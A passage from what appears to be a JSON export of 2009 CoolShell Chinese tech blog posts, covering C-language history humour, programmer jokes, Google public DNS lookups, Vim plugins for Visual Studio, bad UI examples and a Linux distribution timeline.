最终还是运转起来了（一点点）。而且，所有的Java卖主们开始准备向其砸钱，与此同时，Microsoft 宣布了.NET，这是一个包括了所有的J2EE功能但没那么贵的产品。实际上来说， Microsoft 决定让Windows的用户免费使用.NET 。 Scott McNealy 很愤怒，其对Microsoft开展了相关的法律诉讼。\n\n\n.NET 包括了最新的C家族语言，叫C#，发音是“C-pound”，继承最家族的传统，使用着一个愚蠢的名字。\n\n\n2001 – Microsoft 的市场部意识到，在市面上没有人谈论他们的产品，他们找了其中一个程序员一起吃中饭，才发现，他们把C#叫做 “C sharp”。\n\n\n2002 – C# 成为 Microsoft .NET的一部分。 C++ 的开发者在 Microsoft 平台上为 “managed code”而欢呼雀跃，也就是说，他们最终得到了一个内存自动管理的功能，这一功能正是1991年的Visual Basic 及1995年的Java所创建的 。\n\n\n*copyright (C) 1996-2006 by Billy S. Hollis, originally posted on dotnetmasters.com 13 January 2006*\n\n\n 文章：[来源](http://dotnetmasters.com/historyofcfamily.htm)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![C++的坑真的多吗？](../wp-content/uploads/2012/08/cpp_small-150x150.jpg)](https://coolshell.cn/articles/7992.html)[C++的坑真的多吗？](https://coolshell.cn/articles/7992.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\nThe post [C语言的演变史](https://coolshell.cn/articles/1984.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-24 程序员眼中的编程语言.md",
    "content": "---\nlayout: post\ntitle: 程序员眼中的编程语言\ndate: 2009/12/24/ 6:31:25\nupdated: 2009/12/24/ 6:31:25\nstatus: publish\npublished: true\ntype: post\n---\n\n下图是一个搞笑的图片——程序员眼中的编程语言。\n\n\n* 图片的横轴是编程语言。\n* 纵轴是各语言的程序员、粉丝、信徒。\n* 中间的各个小图片则是，粉丝眼中的编程语言的形象。\n\n\n比如说，\n\n\n* 第一行第一列，是Java程序员看Java语言的样子，一幢现代化的大厦。\n* 第一行第二列，是Java程序员看C语言，一个年老过时的骨灰级老头。\n* 当然，C程序员看Java语言也比较搞，见第二行第一列。呵呵。\n\n\n其它的大家自己看吧。还有另外一个关于操作系统的《[粉丝眼中的操作系统](https://coolshell.cn/articles/1998.html)》\n\n\n![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys.jpg \"程序员眼中的编程语言\")\n\n\n \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/1391.html)[编程真难啊](https://coolshell.cn/articles/1391.html)\nThe post [程序员眼中的编程语言](https://coolshell.cn/articles/1992.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-24 粉丝眼中的操作系统.md",
    "content": "---\nlayout: post\ntitle: 粉丝眼中的操作系统\ndate: 2009/12/24/ 6:50:46\nupdated: 2009/12/24/ 6:50:46\nstatus: publish\npublished: true\ntype: post\n---\n\n在发布完《[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)》一文后，发现网上还有一个关于操作系统的。如下所示。\n\n\n* 图片的横轴是三大操作系统。\n* 纵轴是各操作系统的粉丝和信徒。\n* 中间的各个小图片则是，粉丝眼中的操作系统的形象。\n\n\n关于操作系统，还有[这一张图](https://coolshell.cn/articles/1579.html)也很有意思。\n\n\n![粉丝眼中的操作系统](../wp-content/uploads/2009/12/operatingsystems-fanboys.jpg \"粉丝眼中的操作系统\")\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一张关于操作系统的图](../wp-content/uploads/2009/10/operating-systems-150x150.jpg)](https://coolshell.cn/articles/1579.html)[一张关于操作系统的图](https://coolshell.cn/articles/1579.html)\n* [![操作系统图形界面发展史(1981-2009)](../wp-content/uploads/2009/03/19-windows-3-150x150.gif)](https://coolshell.cn/articles/105.html)[操作系统图形界面发展史(1981-2009)](https://coolshell.cn/articles/105.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\nThe post [粉丝眼中的操作系统](https://coolshell.cn/articles/1998.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-27 推荐几个镜像站点.md",
    "content": "---\nlayout: post\ntitle: 推荐几个镜像站点\ndate: 2009/12/27/ 13:6:26\nupdated: 2009/12/27/ 13:6:26\nstatus: publish\npublished: true\ntype: post\n---\n\n搜狐的：[http://mirrors.sohu.com](http://mirrors.sohu.com \"http://mirrors.sohu.com\")\n\n\n网易的：[http://mirrors.163.com](http://mirrors.163.com \"http://mirrors.163.com\")\n\n\n上海交通大学FTP：[http://202.38.97.230](http://202.38.97.230/ \"http://202.38.97.230/\")\n\n\n如果你是教育网的用户，上海交通大学FTP访问速度非常的快。\n\n\n:)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/3161.html)[AES加密算法动画演示](https://coolshell.cn/articles/3161.html)\n* [![GPLv3的在开源社区中的占有量](../wp-content/uploads/2009/07/GPL-1-150x150.png)](https://coolshell.cn/articles/1197.html)[GPLv3的在开源社区中的占有量](https://coolshell.cn/articles/1197.html)\n* [![几个在线颜色选择器](../wp-content/uploads/2010/11/Color-Scheme-150x150.jpg)](https://coolshell.cn/articles/3314.html)[几个在线颜色选择器](https://coolshell.cn/articles/3314.html)\n* [![Linux的cycle日历（你懂的）](../wp-content/uploads/2011/01/scr1_m-150x150.png)](https://coolshell.cn/articles/3489.html)[Linux的cycle日历（你懂的）](https://coolshell.cn/articles/3489.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![Internet 技术演变图](../wp-content/uploads/2009/07/Internet-150x150.jpg)](https://coolshell.cn/articles/1178.html)[Internet 技术演变图](https://coolshell.cn/articles/1178.html)\nThe post [推荐几个镜像站点](https://coolshell.cn/articles/2011.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-28 google的免费dns服务器.md",
    "content": "---\nlayout: post\ntitle: google的免费dns服务器\ndate: 2009/12/28/ 11:3:34\nupdated: 2009/12/28/ 11:3:34\nstatus: publish\npublished: true\ntype: post\n---\n\ngoogle推出了自己的免费dns服务器，以供公众使用。服务器地址是：\n\n\ndns1: 8.8.8.8\n\n\ndns2: 8.8.4.4\n\n\n我在我的机器上测试了一下：\n\n\n\n$ host -a g.cn 8.8.8.8\nTrying “g.cn”\nUsing domain server:\nName: 8.8.8.8\nAddress: 8.8.8.8#53\nAliases:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33253\n;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0\n;; QUESTION SECTION:\n;g.cn. IN ANY\n;; ANSWER SECTION:\ng.cn. 300 IN A 72.14.203.160\ng.cn. 259200 IN NS ns3.google.com.\ng.cn. 10800 IN MX 10 google.com.s9b2.psmtp.com.\ng.cn. 259200 IN NS ns1.google.cn.\ng.cn. 259200 IN NS ns2.google.com.\ng.cn. 86400 IN SOA ns1.google.com. dns-admin.google.com. 1402219 21600 3600 1209600 300\ng.cn. 10800 IN MX 10 google.com.s9b1.psmtp.com.\ng.cn. 10800 IN MX 10 google.com.s9a2.psmtp.com.\ng.cn. 10800 IN MX 10 google.com.s9a1.psmtp.com.\ng.cn. 259200 IN NS ns1.google.com.\ng.cn. 259200 IN NS ns4.google.com.\nReceived 325 bytes from **8.8.8.8#53 in 217 ms**\n\n\n\n\n$ host -a g.cn 8.8.4.4\nTrying “g.cn”\nUsing domain server:\nName: 8.8.4.4\nAddress: 8.8.4.4#53\nAliases:\n\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40871\n;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;g.cn. IN ANY\n\n;; ANSWER SECTION:\ng.cn. 227 IN A 72.14.203.160\ng.cn. 259127 IN NS ns3.google.com.\ng.cn. 10727 IN MX 10 google.com.s9b2.psmtp.com.\ng.cn. 259127 IN NS ns1.google.cn.\ng.cn. 259127 IN NS ns2.google.com.\ng.cn. 86327 IN SOA ns1.google.com. dns-admin.google.com. 1402219 21600 3600 1209600 300\ng.cn. 10727 IN MX 10 google.com.s9b1.psmtp.com.\ng.cn. 10727 IN MX 10 google.com.s9a2.psmtp.com.\ng.cn. 10727 IN MX 10 google.com.s9a1.psmtp.com.\ng.cn. 259127 IN NS ns1.google.com.\ng.cn. 259127 IN NS ns4.google.com.\n\nReceived 325 bytes from **8.8.4.4#53 in 196 ms**\n\n\n\n好记又免费，爽哉！！ :)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [google的免费dns服务器](https://coolshell.cn/articles/2015.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-4 Visual Studio的Vim插件.md",
    "content": "---\nlayout: post\ntitle: Visual Studio的Vim插件\ndate: 2009/12/4/ 1:55:58\nupdated: 2009/12/4/ 1:55:58\nstatus: publish\npublished: true\ntype: post\n---\n\n前两天向大家介绍了[Eclipse 和Vim相互交融的插件](https://coolshell.cn/articles/1837.html)，今天向大介绍几个插件，可以让你在Visual Studio中使用Vim的那些操作。\n\n\n第一个是：[ViEmu](http://www.viemu.com/)，下面是一个演示图片。不过这个插件是商业版的，而且还不支持VS2010。不过据其网站说很快就会支持。最夸张的是ViEmu还支持Word和Outlook，SQL Server，呵呵。\n\n\n[http://www.viemu.com/viemu-movie.gif \"ViEum\"](http://www.viemu.com/viemu-movie.gif)\n\n\n如果你要用免费的的插件，没有问题，试工这个新出的插件吧：[VsVim](http://visualstudiogallery.msdn.microsoft.com/en-us/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329)。只不过好像目前只支持VS2010。\n\n\nhttp://visualstudiogallery.msdn.microsoft.com/en-us/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329/image/file/6397\n\n\n 看来Vim还是很强大的，不然，怎会有这些人把其集成到了 Eclipes 和Vistual Studio中，呵呵。Unix下的这个老得都不行了的编辑器正在影响着图形界面的编辑器。最后，让我问问你，你会用Vim吗？\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\nThe post [Visual Studio的Vim插件](https://coolshell.cn/articles/1901.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-7 程序员的相关笑话（一）.md",
    "content": "---\nlayout: post\ntitle: 程序员的相关笑话（一）\ndate: 2009/12/7/ 0:12:16\nupdated: 2009/12/7/ 0:12:16\nstatus: publish\npublished: true\ntype: post\n---\n\n\n#### 问答\n\n\nQ：你是怎么区分一个内向的程序员和一个外向的程序员的？  \n\nA：外向的程序员会看着你的鞋和你说话时。\n\n\nQ：为什么程序员不能区分万圣节和圣诞节？  \n\nA：这是因为Oct 31 == Dec 25！（八进制的31==十进制的25）\n\n\n \n\n\n#### 刹车失灵\n\n\n有一个物理学家，工程师和一个程序员驾驶着一辆汽车行驶在阿尔卑斯山脉上，在下山的时候，忽然，汽车的刹车失灵了，汽车无法控制地向下冲去，眼看前面就是一个悬崖峭壁，但是很幸运的是在这个悬崖的前面有一些小树让他们的汽车停了下来，而没有掉下山去。三个惊魂未定地从车里爬了出来。\n\n\n物理学家说，“我觉得我们应该建立一个模型来模拟在下山过程中刹车片在高温情况下失灵的情形”。\n\n\n工程师说，“我在车的后备厢来有个扳手，要不我们把车拆开看看到底是什么原因”。\n\n\n程序员说，“为什么我们不找个相同的车再来一次以重现这个问题呢？”\n\n\n\n \n\n\n#### 关于编程语言\n\n\n如果C++是一把锤子的话，那么编程就会变成大手指头。\n\n\n如果你找了一百万只猴子来敲打一百万个键盘，那么会有一只猴子会敲出一段Java程序，而其余的只会敲出Perl程序。\n\n\n一阵急促的敲门声，“谁啊！”，过了5分钟，门外传来“Java”。\n\n\n如果说Java很不错是因为它可以运行在所有的操作系统上，那么就可以说肛交很不错，因为其可以使用于所有的性别上。\n\n\n \n\n\n#### 自行车\n\n\n一个程序员骑着一个很漂亮的自行车到了公司，另一个程序员看到了他，问到，“你是从哪搞到的这么漂亮的车的？”\n\n\n骑车的那个程序员说，“我刚从那边过来，有一个漂亮的姑娘骑着这个车过来，并停在我跟前，把衣服全脱了，然后对我说，‘你想要什么都可以’”。\n\n\n另一个程序员马上说到，“你绝对做了一个正确的选择，因为那姑娘的衣服你并不一定穿得了”。\n\n\n \n\n\n#### 火车\n\n\n一个年轻的程序员和一个项目经理登上了一列在山里行驶的火车，他们发现列车上几乎都坐满了，只有两个在一起的空位，这个空位的对面是一个老奶奶和一个年轻漂亮的姑娘。两个上前坐了下来。程序员和那个姑娘他们比较暧昧地相互看对方。这时，火车进入山洞，车厢里一片漆黑。此时，只听见一个亲嘴的声音，随后就听到一个响亮的巴掌声。很快火车出了山洞，他们四个人都不说话。\n\n\n那个老奶奶在喃喃道，“这个年轻小伙怎么这么无礼，不过我很高兴我的孙女扇了一个巴掌”。\n\n\n项目经理在想，“没想到这个程序员居然这么大胆，敢去亲那姑娘，只可惜那姑娘打错了人，居然给打了我。”\n\n\n漂亮的姑娘想，“他亲了我真好，希望我的祖母没有打疼他”。\n\n\n程序员坐在那里露出了笑容，“生活真好啊。这一辈子能有几次机会可以在亲一个美女的同时打项目经理一巴掌啊”\n\n\n \n\n\n#### 问路\n\n\n有一个驾驶热气球的人发现他迷路了。他降低了飞行的高度，并认出了地面上的一个人。他继续下降高度并对着那个人大叫，“打扰一下，你能告诉我我在哪吗？”\n\n\n下面那个人说：“是的。你在热气球里啊，盘旋在30英尺的空中”。\n\n\n热气球上的人说：“你一定是在IT部门做技术工作”。\n\n\n“没错”，地面上的人说到，“你是怎么知道的？”\n\n\n“呵呵”，热气球上的人说，“你告诉我的每件事在技术上都是对的，但对都没有用”。\n\n\n地面上的人说，“你一定是管理层的人”。\n\n\n“没错”，热气球上的人说，“可是你是怎么知道的？”\n\n\n“呵呵”，地面上的那人说到，“你不知道你在哪里，你也不知道你要去哪，你总希望我能帮你。你现在和我们刚见面时还在原来那个地方，但现在却是我错了”。\n\n\n \n\n\n#### 警告\n\n\n有一个小伙子在一个办公大楼的门口抽着烟，一个妇女路过他身边，并对他说，“你知道不知道这个东西会危害你的健康？我是说，你有没有注意到香烟盒上的那个警告（Warning）？”\n\n\n小伙子说，“没事儿，我是一个程序员”。\n\n\n那妇女说，“这又怎样？”\n\n\n程序员说，“我们从来不关心Warning，只关心Error”\n\n\n \n\n\n(你还有更多的笑话吗？欢迎告诉我们)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/1941.html)[程序员的相关笑话（二）](https://coolshell.cn/articles/1941.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [程序员的相关笑话（一）](https://coolshell.cn/articles/1903.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-9 UI的恶梦.md",
    "content": "---\nlayout: post\ntitle: UI的恶梦\ndate: 2009/12/9/ 8:4:26\nupdated: 2009/12/9/ 8:4:26\nstatus: publish\npublished: true\ntype: post\n---\n\nUI可能是编程中最令人头痛的事了。设计UI通常对于程序员来说是一件很痛苦的事情。下面，让我们来看一看一些可怕的UI设计吧，前面几个UI都是出于咱们程序员自己之手，把他们放在这里，希望能引起大家的注意。（国内软件的UI嘛的我就不说了，省得得罪人）下面这个例子不知道你是否让你似曾相识，呵呵，记得我上大学时，用delphi，PB经常开发这样的界面，当时觉得自己特牛！现在看上去嘛，简直就是一个垃圾。（关于UI设计，你可以查看本站的《[35个强大的UI设计教程](https://coolshell.cn/articles/363.html)》）\n\n\n[![UI的恶梦](../wp-content/uploads/2009/12/badui2-300x224.jpg \"UI的恶梦\")](https://coolshell.cn/wp-content/uploads/2009/12/badui2.jpg)\n\n\n首先，我们先来看一个叫wGetGUI的小工具软件，这是一个100%由程序员设计的UI，如下所示：\n\n\n\n[![wgetgui-screenshot](../wp-content/uploads/2009/12/wgetgui-screenshot-300x208.png \"wgetgui-screenshot\")](https://coolshell.cn/wp-content/uploads/2009/12/wgetgui-screenshot.png)\n\n\n看到这样的界面，你会觉得怎么样？“高科技”还是“头晕”？相比起命令行的那个wget，真不知道这个图形界面的工具是怎么被设计出来。哎。这里是这个工具的网页：<http://www.jensroesner.de/wgetgui/>，网页上还有几张图，也是一样的。\n\n\n不过，比起下面这个来，wGetGUI算不上什么了。下面这个软件叫做：FileMatrix，这个界面是前所未有的经典，那叫一个相当强大啊。估计可以节省很多对话框和tab页了，把软件的所有功能全部一次性陈列出来。这也是程序员的杰作。（点击图片，你可以慢慢欣赏下面这个UI的细节）\n\n\n[![UI](../wp-content/uploads/2009/12/UI-300x234.png \"UI\")](https://coolshell.cn/wp-content/uploads/2009/12/UI.png)\n\n\n当然，FileMatrix今天还在，其主页在[这里](http://www.gardenerofthoughts.org/ideas/filematrix/index.htm)。今天的FileMatrix的UI界面已经变得很简洁了，其还支持一些皮肤，不过它们还是很糟糕。如下所示：（[更多的图片](http://www.gardenerofthoughts.org/ideas/filematrix/screenshots.htm)）\n\n\n[![marble](../wp-content/uploads/2009/12/marble-300x226.png \"marble\")](https://coolshell.cn/wp-content/uploads/2009/12/marble.png)\n\n\n让我们再来看看历史上Windows 3.2的某个配色方案：hotdog（如下图所示），真不知道这是谁配的，真是——“红配黄，喜洋洋”啊。\n\n\n[![windows-311-hotdog-stand-scheme](../wp-content/uploads/2009/12/windows-311-hotdog-stand-scheme-300x225.png \"windows-311-hotdog-stand-scheme\")](https://coolshell.cn/wp-content/uploads/2009/12/windows-311-hotdog-stand-scheme.png)\n\n\n不要以为，以简洁著称的Google就没有问题，最近的Google Wave大家用过没有？那个滚动条啊，我实在是没有搞懂为什么设计成那个样子。可谓史上最无厘头的滚动条了。下面，左边是Mac的，右边是Google Wave的，他们俩干的都是一样的事，但Google Wave的太令人摸不着头脑了。\n\n\n[![google-wave-scrollbars](../wp-content/uploads/2009/12/google-wave-scrollbars.png \"google-wave-scrollbars\")](https://coolshell.cn/wp-content/uploads/2009/12/google-wave-scrollbars.png)\n\n\n对于Google Wave的滚动条，我只想说的是，根据《Don’t make me Think》的原则，这个滚动条和其它例子一样只站在了程序员的角度，而并没有考虑用户体验。下面这些文章，你都可以看看那大家的看法。\n\n\n1. <http://www.flickr.com/photos/yaili/3990023684/>\n2. <http://ignorethecode.net/blog/2009/11/15/google_waves_scrollbars/>\n3. <http://squawk.blogs.starnewsonline.com/10194/is-google-wave-ugly/>\n4. <http://allentan.posterous.com/google-waves-scrollbar-details>\n5. <http://technmarketing.com/web/eight-google-wave-annoyances/>\n\n\n你以Google wave scrollbar作为关键词到Google里搜索吧，你可以看到大量的讨论和抱怨。以至于Google自己都要写个[说明](http://www.google.com/support/wave/bin/answer.py?hl=en&answer=162103)了。\n\n\n好了，最后两个图片和设计者无关，设计者在开始的时候可能并没有想到UI能变成这样。下面是关于IE7浏览器的，这张图你可能并不陌生，这是一张当我们的IE被安装了各种工具条后（很多是流氓软件）后的样子。（点击大图细细欣赏）\n\n\n    [![iemess2](../wp-content/uploads/2009/12/iemess2-300x225.jpg \"iemess2\")](https://coolshell.cn/wp-content/uploads/2009/12/iemess2.jpg) \n\n\n不要以为Firefox不会像IE一样，那是因为你的Firefox没有装插件，当安装上各种插件后，也是一样的。如下所示（点击图片，慢慢欣赏）。\n\n\n[![ffToolbars](../wp-content/uploads/2009/12/ffToolbars-251x300.jpg \"ffToolbars\")](https://coolshell.cn/wp-content/uploads/2009/12/ffToolbars.jpg)\n\n\n最后，让我们看一个现实生活中的UI吧，好像是一个飞机驾驶舱。\n\n\n[![Blackhawk-Cockpit](../wp-content/uploads/2009/12/Blackhawk-Cockpit-300x225.jpg \"Blackhawk-Cockpit\")](https://coolshell.cn/wp-content/uploads/2009/12/Blackhawk-Cockpit.jpg) \n\n\n你有什么UI恐怖的经历吗？欢迎与我们分享。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![30+ Web下拉菜单](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg)](https://coolshell.cn/articles/3207.html)[30+ Web下拉菜单](https://coolshell.cn/articles/3207.html)\n* [![用户界面和用户体验的差别](../wp-content/uploads/2010/10/UI-150x150.gif)](https://coolshell.cn/articles/3142.html)[用户界面和用户体验的差别](https://coolshell.cn/articles/3142.html)\n* [![Windows的达尔文进化图](../wp-content/uploads/2010/10/W_600-150x150.jpg)](https://coolshell.cn/articles/3097.html)[Windows的达尔文进化图](https://coolshell.cn/articles/3097.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\nThe post [UI的恶梦](https://coolshell.cn/articles/1907.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-10 Linux Distribution Timeline.md",
    "content": "---\nlayout: post\ntitle: Linux Distribution Timeline\ndate: 2009/3/10/ 13:20:22\nupdated: 2009/3/10/ 13:20:22\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个网站记录了整个Linux所有发行版的时间线，很有意思  \n\n<http://futurist.se/gldt/>\n\n\n最新的更新时间是2009-2-12，下面是下载链接：  \n\n[811 kb png](http://futurist.se/gldt/gldt92.png) / [72 kb tar.bz2](http://futurist.se/gldt/gldt92.tar.bz2)\n\n\n[![gldt92](../wp-content/uploads/2009/03/gldt92-612x1024.png \"gldt92\")](https://coolshell.cn/wp-content/uploads/2009/03/gldt92.png)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* 